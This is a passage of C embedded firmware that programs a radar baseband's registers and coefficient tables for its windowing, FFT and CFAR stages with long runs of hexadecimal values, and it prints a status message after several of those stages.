baseband_write_mem_table(NULL, (uint32_t)0x13a, (uint32_t)0xdd60e3d);
baseband_write_mem_table(NULL, (uint32_t)0x13c, (uint32_t)0xd0c0d70);
baseband_write_mem_table(NULL, (uint32_t)0x13e, (uint32_t)0xc4a0caa);
baseband_write_mem_table(NULL, (uint32_t)0x140, (uint32_t)0xb8e0beb);
baseband_write_mem_table(NULL, (uint32_t)0x142, (uint32_t)0xada0b33);
baseband_write_mem_table(NULL, (uint32_t)0x144, (uint32_t)0xa2c0a82);
baseband_write_mem_table(NULL, (uint32_t)0x146, (uint32_t)0x98609d8);
baseband_write_mem_table(NULL, (uint32_t)0x148, (uint32_t)0x8e60935);
baseband_write_mem_table(NULL, (uint32_t)0x14a, (uint32_t)0x84e0899);
baseband_write_mem_table(NULL, (uint32_t)0x14c, (uint32_t)0x7bc0804);
baseband_write_mem_table(NULL, (uint32_t)0x14e, (uint32_t)0x7310776);
baseband_write_mem_table(NULL, (uint32_t)0x150, (uint32_t)0x6ad06ee);
baseband_write_mem_table(NULL, (uint32_t)0x152, (uint32_t)0x62f066d);
baseband_write_mem_table(NULL, (uint32_t)0x154, (uint32_t)0x5b805f3);
baseband_write_mem_table(NULL, (uint32_t)0x156, (uint32_t)0x547057e);
baseband_write_mem_table(NULL, (uint32_t)0x158, (uint32_t)0x4dc0511);
baseband_write_mem_table(NULL, (uint32_t)0x15a, (uint32_t)0x47704a9);
baseband_write_mem_table(NULL, (uint32_t)0x15c, (uint32_t)0x4180447);
baseband_write_mem_table(NULL, (uint32_t)0x15e, (uint32_t)0x3bf03eb);
baseband_write_mem_table(NULL, (uint32_t)0x160, (uint32_t)0x36b0394);
baseband_write_mem_table(NULL, (uint32_t)0x162, (uint32_t)0x31d0344);
baseband_write_mem_table(NULL, (uint32_t)0x164, (uint32_t)0x2d402f8);
baseband_write_mem_table(NULL, (uint32_t)0x166, (uint32_t)0x28f02b1);
baseband_write_mem_table(NULL, (uint32_t)0x168, (uint32_t)0x250026f);
baseband_write_mem_table(NULL, (uint32_t)0x16a, (uint32_t)0x2150232);
baseband_write_mem_table(NULL, (uint32_t)0x16c, (uint32_t)0x1de01f9);
baseband_write_mem_table(NULL, (uint32_t)0x16e, (uint32_t)0x1ac01c5);
baseband_write_mem_table(NULL, (uint32_t)0x170, (uint32_t)0x17e0194);
baseband_write_mem_table(NULL, (uint32_t)0x172, (uint32_t)0x1530168);
baseband_write_mem_table(NULL, (uint32_t)0x174, (uint32_t)0x12c013f);
baseband_write_mem_table(NULL, (uint32_t)0x176, (uint32_t)0x1080119);
baseband_write_mem_table(NULL, (uint32_t)0x178, (uint32_t)0xe700f7);
baseband_write_mem_table(NULL, (uint32_t)0x17a, (uint32_t)0xca00d8);
baseband_write_mem_table(NULL, (uint32_t)0x17c, (uint32_t)0xaf00bc);
baseband_write_mem_table(NULL, (uint32_t)0x17e, (uint32_t)0x9700a3);
baseband_write_mem_table(NULL, (uint32_t)0x180, (uint32_t)0x81008c);
baseband_write_mem_table(NULL, (uint32_t)0x182, (uint32_t)0x6e0078);
baseband_write_mem_table(NULL, (uint32_t)0x184, (uint32_t)0x5d0065);
baseband_write_mem_table(NULL, (uint32_t)0x186, (uint32_t)0x4e0055);
baseband_write_mem_table(NULL, (uint32_t)0x188, (uint32_t)0x400047);
baseband_write_mem_table(NULL, (uint32_t)0x18a, (uint32_t)0x34003a);
baseband_write_mem_table(NULL, (uint32_t)0x18c, (uint32_t)0x2a002f);
baseband_write_mem_table(NULL, (uint32_t)0x18e, (uint32_t)0x990026);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x0);
EMBARC_PRINTF("/*** sam params programmed! ***/\n\r");
baseband_write_reg(NULL, (uint32_t)0xc00600, (uint32_t)0xff);
baseband_write_reg(NULL, (uint32_t)0xc00604, (uint32_t)0x3f);
baseband_write_reg(NULL, (uint32_t)0xc00608, (uint32_t)0x1);
baseband_write_reg(NULL, (uint32_t)0xc0060c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00654, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00658, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x2);
baseband_write_mem_table(NULL, (uint32_t)0x1, (uint32_t)0x280069);
baseband_write_mem_table(NULL, (uint32_t)0x3, (uint32_t)0x390030);
baseband_write_mem_table(NULL, (uint32_t)0x5, (uint32_t)0x4d0042);
baseband_write_mem_table(NULL, (uint32_t)0x7, (uint32_t)0x650058);
baseband_write_mem_table(NULL, (uint32_t)0x9, (uint32_t)0x830073);
baseband_write_mem_table(NULL, (uint32_t)0xb, (uint32_t)0xa60093);
baseband_write_mem_table(NULL, (uint32_t)0xd, (uint32_t)0xcf00ba);
baseband_write_mem_table(NULL, (uint32_t)0xf, (uint32_t)0xff00e6);
baseband_write_mem_table(NULL, (uint32_t)0x11, (uint32_t)0x138011a);
baseband_write_mem_table(NULL, (uint32_t)0x13, (uint32_t)0x1780157);
baseband_write_mem_table(NULL, (uint32_t)0x15, (uint32_t)0x1c2019c);
baseband_write_mem_table(NULL, (uint32_t)0x17, (uint32_t)0x21501ea);
baseband_write_mem_table(NULL, (uint32_t)0x19, (uint32_t)0x2740243);
baseband_write_mem_table(NULL, (uint32_t)0x1b, (uint32_t)0x2dd02a7);
baseband_write_mem_table(NULL, (uint32_t)0x1d, (uint32_t)0x3530317);
baseband_write_mem_table(NULL, (uint32_t)0x1f, (uint32_t)0x3d60393);
baseband_write_mem_table(NULL, (uint32_t)0x21, (uint32_t)0x467041d);
baseband_write_mem_table(NULL, (uint32_t)0x23, (uint32_t)0x50504b4);
baseband_write_mem_table(NULL, (uint32_t)0x25, (uint32_t)0x5b3055a);
baseband_write_mem_table(NULL, (uint32_t)0x27, (uint32_t)0x6700610);
baseband_write_mem_table(NULL, (uint32_t)0x29, (uint32_t)0x73d06d4);
baseband_write_mem_table(NULL, (uint32_t)0x2b, (uint32_t)0x81a07a9);
baseband_write_mem_table(NULL, (uint32_t)0x2d, (uint32_t)0x908088f);
baseband_write_mem_table(NULL, (uint32_t)0x2f, (uint32_t)0xa070986);
baseband_write_mem_table(NULL, (uint32_t)0x31, (uint32_t)0xb170a8d);
baseband_write_mem_table(NULL, (uint32_t)0x33, (uint32_t)0xc390ba6);
baseband_write_mem_table(NULL, (uint32_t)0x35, (uint32_t)0xd6b0cd0);
baseband_write_mem_table(NULL, (uint32_t)0x37, (uint32_t)0xeae0e0a);
baseband_write_mem_table(NULL, (uint32_t)0x39, (uint32_t)0x10020f56);
baseband_write_mem_table(NULL, (uint32_t)0x3b, (uint32_t)0x116610b2);
baseband_write_mem_table(NULL, (uint32_t)0x3d, (uint32_t)0x12da121e);
baseband_write_mem_table(NULL, (uint32_t)0x3f, (uint32_t)0x145d139a);
baseband_write_mem_table(NULL, (uint32_t)0x41, (uint32_t)0x15ee1524);
baseband_write_mem_table(NULL, (uint32_t)0x43, (uint32_t)0x178c16bc);
baseband_write_mem_table(NULL, (uint32_t)0x45, (uint32_t)0x19371860);
baseband_write_mem_table(NULL, (uint32_t)0x47, (uint32_t)0x1aec1a10);
baseband_write_mem_table(NULL, (uint32_t)0x49, (uint32_t)0x1cab1bcb);
baseband_write_mem_table(NULL, (uint32_t)0x4b, (uint32_t)0x1e731d8e);
baseband_write_mem_table(NULL, (uint32_t)0x4d, (uint32_t)0x20401f59);
baseband_write_mem_table(NULL, (uint32_t)0x4f, (uint32_t)0x22132129);
baseband_write_mem_table(NULL, (uint32_t)0x51, (uint32_t)0x23e922fe);
baseband_write_mem_table(NULL, (uint32_t)0x53, (uint32_t)0x25c024d5);
baseband_write_mem_table(NULL, (uint32_t)0x55, (uint32_t)0x279726ac);
baseband_write_mem_table(NULL, (uint32_t)0x57, (uint32_t)0x296b2881);
baseband_write_mem_table(NULL, (uint32_t)0x59, (uint32_t)0x2b3a2a53);
baseband_write_mem_table(NULL, (uint32_t)0x5b, (uint32_t)0x2d032c20);
baseband_write_mem_table(NULL, (uint32_t)0x5d, (uint32_t)0x2ec32de4);
baseband_write_mem_table(NULL, (uint32_t)0x5f, (uint32_t)0x30782f9f);
baseband_write_mem_table(NULL, (uint32_t)0x61, (uint32_t)0x321f314d);
baseband_write_mem_table(NULL, (uint32_t)0x63, (uint32_t)0x33b832ee);
baseband_write_mem_table(NULL, (uint32_t)0x65, (uint32_t)0x353f347e);
baseband_write_mem_table(NULL, (uint32_t)0x67, (uint32_t)0x36b335fc);
baseband_write_mem_table(NULL, (uint32_t)0x69, (uint32_t)0x38133766);
baseband_write_mem_table(NULL, (uint32_t)0x6b, (uint32_t)0x395b38ba);
baseband_write_mem_table(NULL, (uint32_t)0x6d, (uint32_t)0x3a8a39f5);
baseband_write_mem_table(NULL, (uint32_t)0x6f, (uint32_t)0x3b9f3b18);
baseband_write_mem_table(NULL, (uint32_t)0x71, (uint32_t)0x3c983c1f);
baseband_write_mem_table(NULL, (uint32_t)0x73, (uint32_t)0x3d743d0a);
baseband_write_mem_table(NULL, (uint32_t)0x75, (uint32_t)0x3e323dd7);
baseband_write_mem_table(NULL, (uint32_t)0x77, (uint32_t)0x3ed03e85);
baseband_write_mem_table(NULL, (uint32_t)0x79, (uint32_t)0x3f4e3f13);
baseband_write_mem_table(NULL, (uint32_t)0x7b, (uint32_t)0x3fab3f81);
baseband_write_mem_table(NULL, (uint32_t)0x7d, (uint32_t)0x3fe63fcd);
baseband_write_mem_table(NULL, (uint32_t)0x7f, (uint32_t)0x3fff3ff7);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0065c, (uint32_t)0x107);
baseband_write_reg(NULL, (uint32_t)0xc00664, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00670, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00660, (uint32_t)0x133);
baseband_write_reg(NULL, (uint32_t)0xc00668, (uint32_t)0xffff);
baseband_write_reg(NULL, (uint32_t)0xc0066c, (uint32_t)0xd1b6e);
EMBARC_PRINTF("/*** fft params programmed! ***/\n\r");
}
/*** inteference params programmed! ***/
/*** velamb params programmed! ***/
if (acc_phase == 2) {
baseband_write_reg(NULL, (uint32_t)0xc00800, (uint32_t)0x3f);
baseband_write_reg(NULL, (uint32_t)0xc00810, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00804, (uint32_t)0x1);
baseband_write_reg(NULL, (uint32_t)0xc00808, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0080c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00834, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00838, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc0083c, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00814, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00818, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc0081c, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00820, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00824, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00828, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc0082c, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00830, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc00960, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0090c, (uint32_t)0xfff00600);
baseband_write_reg(NULL, (uint32_t)0xc00910, (uint32_t)0xc0180300);
baseband_write_reg(NULL, (uint32_t)0xc00914, (uint32_t)0x600c0180);
baseband_write_reg(NULL, (uint32_t)0xc00918, (uint32_t)0x600fff);
baseband_write_reg(NULL, (uint32_t)0xc008fc, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc00900, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc00904, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc00908, (uint32_t)0x1ffffff);
baseband_write_reg(NULL, (uint32_t)0xc008ec, (uint32_t)0x1ffe00);
baseband_write_reg(NULL, (uint32_t)0xc008f0, (uint32_t)0xc0180300);
baseband_write_reg(NULL, (uint32_t)0xc008f4, (uint32_t)0x600c0180);
baseband_write_reg(NULL, (uint32_t)0xc008f8, (uint32_t)0x7ff800);
baseband_write_reg(NULL, (uint32_t)0xc008dc, (uint32_t)0x1fffff);
baseband_write_reg(NULL, (uint32_t)0xc008e0, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc008e4, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc008e8, (uint32_t)0x1fff800);
baseband_write_reg(NULL, (uint32_t)0xc008cc, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc008d0, (uint32_t)0xc0080100);
baseband_write_reg(NULL, (uint32_t)0xc008d4, (uint32_t)0x200400ff);
baseband_write_reg(NULL, (uint32_t)0xc008d8, (uint32_t)0x1c00000);
baseband_write_reg(NULL, (uint32_t)0xc008bc, (uint32_t)0x3ff);
baseband_write_reg(NULL, (uint32_t)0xc008c0, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc008c4, (uint32_t)0xffffffff);
baseband_write_reg(NULL, (uint32_t)0xc008c8, (uint32_t)0x1c00000);
baseband_write_reg(NULL, (uint32_t)0xc008ac, (uint32_t)0x803ffe00);
baseband_write_reg(NULL, (uint32_t)0xc008b0, (uint32_t)0xc0180300);
baseband_write_reg(NULL, (uint32_t)0xc008b4, (uint32_t)0x600c0180);
baseband_write_reg(NULL, (uint32_t)0xc008b8, (uint32_t)0x7ffc01);
baseband_write_reg(NULL, (uint32_t)0xc0089c, (uint32_t)0xff901);
baseband_write_reg(NULL, (uint32_t)0xc008a0, (uint32_t)0x20240480);
baseband_write_reg(NULL, (uint32_t)0xc008a4, (uint32_t)0x90120240);
baseband_write_reg(NULL, (uint32_t)0xc008a8, (uint32_t)0x9ff000);
baseband_write_reg(NULL, (uint32_t)0xc00844, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0093c, (uint32_t)0xff);
baseband_write_reg(NULL, (uint32_t)0xc0091c, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00940, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00920, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00944, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00924, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00948, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00928, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc0094c, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc0092c, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00950, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00930, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00954, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00934, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc00958, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00938, (uint32_t)0x739c0);
baseband_write_reg(NULL, (uint32_t)0xc0095c, (uint32_t)0x1f);
baseband_write_reg(NULL, (uint32_t)0xc00840, (uint32_t)0x0);
*(uint32_t *)0xc0084c = 0x2;
*(uint32_t *)0xc00858 = 0x28a;
*(uint32_t *)0xc0084c = 0x102;
*(uint32_t *)0xc00858 = 0xa2a8a;
*(uint32_t *)0xc0084c = 0x8102;
*(uint32_t *)0xc00854 = 0x28a;
*(uint32_t *)0xc0084c = 0x408102;
*(uint32_t *)0xc00854 = 0xa2a8a;
*(uint32_t *)0xc00848 = 0x2;
*(uint32_t *)0xc00854 = 0x28aa2a8a;
*(uint32_t *)0xc00848 = 0x102;
*(uint32_t *)0xc00850 = 0x28a;
*(uint32_t *)0xc00848 = 0x8102;
*(uint32_t *)0xc00850 = 0xa2a8a;
*(uint32_t *)0xc00848 = 0x408102;
*(uint32_t *)0xc00850 = 0x28aa2a8a;
baseband_write_reg(NULL, (uint32_t)0xc00974, (uint32_t)0xff);
EMBARC_PRINTF("/*** cfar params programmed! ***/\n\r");
baseband_write_reg(NULL, (uint32_t)0xc00a24, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a2c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a30, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a34, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a3c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a38, (uint32_t)0x1);
baseband_write_reg(NULL, (uint32_t)0xc00a4c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a50, (uint32_t)0x14);
baseband_write_reg(NULL, (uint32_t)0xc00a7c, (uint32_t)0xf);
baseband_write_reg(NULL, (uint32_t)0xc00a80, (uint32_t)0x1e);
baseband_write_reg(NULL, (uint32_t)0xc00a84, (uint32_t)0x339);
baseband_write_reg(NULL, (uint32_t)0xc00a88, (uint32_t)0x3c1);
baseband_write_reg(NULL, (uint32_t)0xc00a8c, (uint32_t)0x3c1);
baseband_write_reg(NULL, (uint32_t)0xc00a90, (uint32_t)0x3c1);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x5);
baseband_write_reg(NULL, (uint32_t)0xc00a40, (uint32_t)0x210);
baseband_write_reg(NULL, (uint32_t)0xc00a48, (uint32_t)0x167);
baseband_write_reg(NULL, (uint32_t)0xc00a54, (uint32_t)0x3);
baseband_write_reg(NULL, (uint32_t)0xc00a58, (uint32_t)0x443);
baseband_write_reg(NULL, (uint32_t)0xc00a5c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a60, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a64, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a68, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a6c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a70, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00a74, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00bcc, (uint32_t)0x378);
baseband_write_reg(NULL, (uint32_t)0xc00bd4, (uint32_t)0x4e0);
baseband_write_reg(NULL, (uint32_t)0xc00bdc, (uint32_t)0x648);
baseband_write_reg(NULL, (uint32_t)0xc00bd0, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00bd8, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00be0, (uint32_t)0x0);
baseband_write_mem_table(NULL, (uint32_t)0x840, (uint32_t)0xf78b26f);
baseband_write_mem_table(NULL, (uint32_t)0x841, (uint32_t)0xe7c5f6c);
baseband_write_mem_table(NULL, (uint32_t)0x842, (uint32_t)0x2782190);
baseband_write_mem_table(NULL, (uint32_t)0x843, (uint32_t)0xd7f4965);
baseband_write_mem_table(NULL, (uint32_t)0x844, (uint32_t)0xf593286);
baseband_write_mem_table(NULL, (uint32_t)0x845, (uint32_t)0xeb3df94);
baseband_write_mem_table(NULL, (uint32_t)0x846, (uint32_t)0x256e166);
baseband_write_mem_table(NULL, (uint32_t)0x847, (uint32_t)0xd840979);
baseband_write_mem_table(NULL, (uint32_t)0x848, (uint32_t)0xf3972a1);
baseband_write_mem_table(NULL, (uint32_t)0x849, (uint32_t)0xeec5fb5);
baseband_write_mem_table(NULL, (uint32_t)0x84a, (uint32_t)0x234e13e);
baseband_write_mem_table(NULL, (uint32_t)0x84b, (uint32_t)0xd89098e);
baseband_write_mem_table(NULL, (uint32_t)0x84c, (uint32_t)0xf19b2c1);
baseband_write_mem_table(NULL, (uint32_t)0x84d, (uint32_t)0xf255fd1);
baseband_write_mem_table(NULL, (uint32_t)0x84e, (uint32_t)0x212a117);
baseband_write_mem_table(NULL, (uint32_t)0x84f, (uint32_t)0xd8e09a3);
baseband_write_mem_table(NULL, (uint32_t)0x850, (uint32_t)0xef9f2e6);
baseband_write_mem_table(NULL, (uint32_t)0x851, (uint32_t)0xf5f5fe7);
baseband_write_mem_table(NULL, (uint32_t)0x852, (uint32_t)0x1efa0f3);
baseband_write_mem_table(NULL, (uint32_t)0x853, (uint32_t)0xd9349b7);
baseband_write_mem_table(NULL, (uint32_t)0x854, (uint32_t)0xeda3310);
baseband_write_mem_table(NULL, (uint32_t)0x855, (uint32_t)0xf99dff6);
baseband_write_mem_table(NULL, (uint32_t)0x856, (uint32_t)0x1cc60d1);
baseband_write_mem_table(NULL, (uint32_t)0x857, (uint32_t)0xd9889cc);
baseband_write_mem_table(NULL, (uint32_t)0x858, (uint32_t)0xebab340);
baseband_write_mem_table(NULL, (uint32_t)0x859, (uint32_t)0xfd51ffe);
baseband_write_mem_table(NULL, (uint32_t)0x85a, (uint32_t)0x1a860b2);
baseband_write_mem_table(NULL, (uint32_t)0x85b, (uint32_t)0xd9dc9e1);
baseband_write_mem_table(NULL, (uint32_t)0x85c, (uint32_t)0xe9b3374);
baseband_write_mem_table(NULL, (uint32_t)0x85d, (uint32_t)0x10dfff);
baseband_write_mem_table(NULL, (uint32_t)0x85e, (uint32_t)0x1842094);
baseband_write_mem_table(NULL, (uint32_t)0x85f, (uint32_t)0xda349f6);
baseband_write_mem_table(NULL, (uint32_t)0x860, (uint32_t)0xe7c33af);
baseband_write_mem_table(NULL, (uint32_t)0x861, (uint32_t)0x4d1ffa);
baseband_write_mem_table(NULL, (uint32_t)0x862, (uint32_t)0x15f6079);
baseband_write_mem_table(NULL, (uint32_t)0x863, (uint32_t)0xda8ca0b);
baseband_write_mem_table(NULL, (uint32_t)0x864, (uint32_t)0xe5d73ee);
baseband_write_mem_table(NULL, (uint32_t)0x865, (uint32_t)0x89dfed);
baseband_write_mem_table(NULL, (uint32_t)0x866, (uint32_t)0x13a2061);
baseband_write_mem_table(NULL, (uint32_t)0x867, (uint32_t)0xdae8a1f);
baseband_write_mem_table(NULL, (uint32_t)0x868, (uint32_t)0xe3ef433);
baseband_write_mem_table(NULL, (uint32_t)0x869, (uint32_t)0xc71fd9);
baseband_write_mem_table(NULL, (uint32_t)0x86a, (uint32_t)0x114604b);
baseband_write_mem_table(NULL, (uint32_t)0x86b, (uint32_t)0xdb44a34);
baseband_write_mem_table(NULL, (uint32_t)0x86c, (uint32_t)0xe20f47e);
baseband_write_mem_table(NULL, (uint32_t)0x86d, (uint32_t)0x1049fbd);
baseband_write_mem_table(NULL, (uint32_t)0x86e, (uint32_t)0xee2038);
baseband_write_mem_table(NULL, (uint32_t)0x86f, (uint32_t)0xdba0a49);
baseband_write_mem_table(NULL, (uint32_t)0x870, (uint32_t)0xe03b4ce);
baseband_write_mem_table(NULL, (uint32_t)0x871, (uint32_t)0x1429f9a);
baseband_write_mem_table(NULL, (uint32_t)0x872, (uint32_t)0xc7a027);
baseband_write_mem_table(NULL, (uint32_t)0x873, (uint32_t)0xdc00a5e);
baseband_write_mem_table(NULL, (uint32_t)0x874, (uint32_t)0xde6b524);
baseband_write_mem_table(NULL, (uint32_t)0x875, (uint32_t)0x1809f6e);
baseband_write_mem_table(NULL, (uint32_t)0x876, (uint32_t)0xa0a019);
baseband_write_mem_table(NULL, (uint32_t)0x877, (uint32_t)0xdc60a72);
baseband_write_mem_table(NULL, (uint32_t)0x878, (uint32_t)0xdcab57e);
baseband_write_mem_table(NULL, (uint32_t)0x879, (uint32_t)0x1bf1f3b);
baseband_write_mem_table(NULL, (uint32_t)0x87a, (uint32_t)0x79600e);
baseband_write_mem_table(NULL, (uint32_t)0x87b, (uint32_t)0xdcc0a87);
baseband_write_mem_table(NULL, (uint32_t)0x87c, (uint32_t)0xdaf35df);
baseband_write_mem_table(NULL, (uint32_t)0x87d, (uint32_t)0x1fd5eff);
baseband_write_mem_table(NULL, (uint32_t)0x87e, (uint32_t)0x51a006);
baseband_write_mem_table(NULL, (uint32_t)0x87f, (uint32_t)0xdd24a9c);
baseband_write_mem_table(NULL, (uint32_t)0x880, (uint32_t)0xd947644);
baseband_write_mem_table(NULL, (uint32_t)0x881, (uint32_t)0x23b9eba);
baseband_write_mem_table(NULL, (uint32_t)0x882, (uint32_t)0x29a002);
baseband_write_mem_table(NULL, (uint32_t)0x883, (uint32_t)0xdd88ab0);
baseband_write_mem_table(NULL, (uint32_t)0x884, (uint32_t)0xd7ab6af);
baseband_write_mem_table(NULL, (uint32_t)0x885, (uint32_t)0x27a1e6e);
baseband_write_mem_table(NULL, (uint32_t)0x886, (uint32_t)0x12000);
baseband_write_mem_table(NULL, (uint32_t)0x887, (uint32_t)0xddf0ac5);
baseband_write_mem_table(NULL, (uint32_t)0x888, (uint32_t)0xd61f71f);
baseband_write_mem_table(NULL, (uint32_t)0x889, (uint32_t)0x2b81e18);
baseband_write_mem_table(NULL, (uint32_t)0x88a, (uint32_t)0xfd86002);
baseband_write_mem_table(NULL, (uint32_t)0x88b, (uint32_t)0xde58ad9);
baseband_write_mem_table(NULL, (uint32_t)0x88c, (uint32_t)0xd4a3794);
baseband_write_mem_table(NULL, (uint32_t)0x88d, (uint32_t)0x2f61dba);
baseband_write_mem_table(NULL, (uint32_t)0x88e, (uint32_t)0xfaf6006);
baseband_write_mem_table(NULL, (uint32_t)0x88f, (uint32_t)0xdec0aed);
baseband_write_mem_table(NULL, (uint32_t)0x890, (uint32_t)0xd33780f);
baseband_write_mem_table(NULL, (uint32_t)0x891, (uint32_t)0x333dd53);
baseband_write_mem_table(NULL, (uint32_t)0x892, (uint32_t)0xf85e00f);
baseband_write_mem_table(NULL, (uint32_t)0x893, (uint32_t)0xdf2cb02);
baseband_write_mem_table(NULL, (uint32_t)0x894, (uint32_t)0xd1e388d);
baseband_write_mem_table(NULL, (uint32_t)0x895, (uint32_t)0x3711ce3);
baseband_write_mem_table(NULL, (uint32_t)0x896, (uint32_t)0xf5c601a);
baseband_write_mem_table(NULL, (uint32_t)0x897, (uint32_t)0xdf9cb16);
baseband_write_mem_table(NULL, (uint32_t)0x898, (uint32_t)0xd09f911);
baseband_write_mem_table(NULL, (uint32_t)0x899, (uint32_t)0x3addc6b);
baseband_write_mem_table(NULL, (uint32_t)0x89a, (uint32_t)0xf326029);
baseband_write_mem_table(NULL, (uint32_t)0x89b, (uint32_t)0xe008b2a);
baseband_write_mem_table(NULL, (uint32_t)0x89c, (uint32_t)0xcf6f999);
baseband_write_mem_table(NULL, (uint32_t)0x89d, (uint32_t)0x3e9dbe9);
baseband_write_mem_table(NULL, (uint32_t)0x89e, (uint32_t)0xf08603c);
baseband_write_mem_table(NULL, (uint32_t)0x89f, (uint32_t)0xe078b3e);
baseband_write_mem_table(NULL, (uint32_t)0x8a0, (uint32_t)0xce57a25);
baseband_write_mem_table(NULL, (uint32_t)0x8a1, (uint32_t)0x4255b5e);
baseband_write_mem_table(NULL, (uint32_t)0x8a2, (uint32_t)0xede2053);
baseband_write_mem_table(NULL, (uint32_t)0x8a3, (uint32_t)0xe0ecb51);
baseband_write_mem_table(NULL, (uint32_t)0x8a4, (uint32_t)0xcd57ab6);
baseband_write_mem_table(NULL, (uint32_t)0x8a5, (uint32_t)0x4601aca);
baseband_write_mem_table(NULL, (uint32_t)0x8a6, (uint32_t)0xeb3606d);
baseband_write_mem_table(NULL, (uint32_t)0x8a7, (uint32_t)0xe160b65);
baseband_write_mem_table(NULL, (uint32_t)0x8a8, (uint32_t)0xcc6fb4a);
baseband_write_mem_table(NULL, (uint32_t)0x8a9, (uint32_t)0x49a1a2d);
baseband_write_mem_table(NULL, (uint32_t)0x8aa, (uint32_t)0xe88e08b);
baseband_write_mem_table(NULL, (uint32_t)0x8ab, (uint32_t)0xe1d4b79);
baseband_write_mem_table(NULL, (uint32_t)0x8ac, (uint32_t)0xcb9fbe2);
baseband_write_mem_table(NULL, (uint32_t)0x8ad, (uint32_t)0x4d2d987);
baseband_write_mem_table(NULL, (uint32_t)0x8ae, (uint32_t)0xe5de0ad);
baseband_write_mem_table(NULL, (uint32_t)0x8af, (uint32_t)0xe24cb8c);
baseband_write_mem_table(NULL, (uint32_t)0x8b0, (uint32_t)0xcaebc7d);
baseband_write_mem_table(NULL, (uint32_t)0x8b1, (uint32_t)0x50ad8d8);
baseband_write_mem_table(NULL, (uint32_t)0x8b2, (uint32_t)0xe3320d2);
baseband_write_mem_table(NULL, (uint32_t)0x8b3, (uint32_t)0xe2c4b9f);
baseband_write_mem_table(NULL, (uint32_t)0x8b4, (uint32_t)0xca57d1b);
baseband_write_mem_table(NULL, (uint32_t)0x8b5, (uint32_t)0x5415821);
baseband_write_mem_table(NULL, (uint32_t)0x8b6, (uint32_t)0xe07e0fc);
baseband_write_mem_table(NULL, (uint32_t)0x8b7, (uint32_t)0xe33cbb2);
baseband_write_mem_table(NULL, (uint32_t)0x8b8, (uint32_t)0xc9dbdbc);
baseband_write_mem_table(NULL, (uint32_t)0x8b9, (uint32_t)0x576d760);
baseband_write_mem_table(NULL, (uint32_t)0x8ba, (uint32_t)0xddce12a);
baseband_write_mem_table(NULL, (uint32_t)0x8bb, (uint32_t)0xe3b8bc5);
baseband_write_mem_table(NULL, (uint32_t)0x8bc, (uint32_t)0xc97be5f);
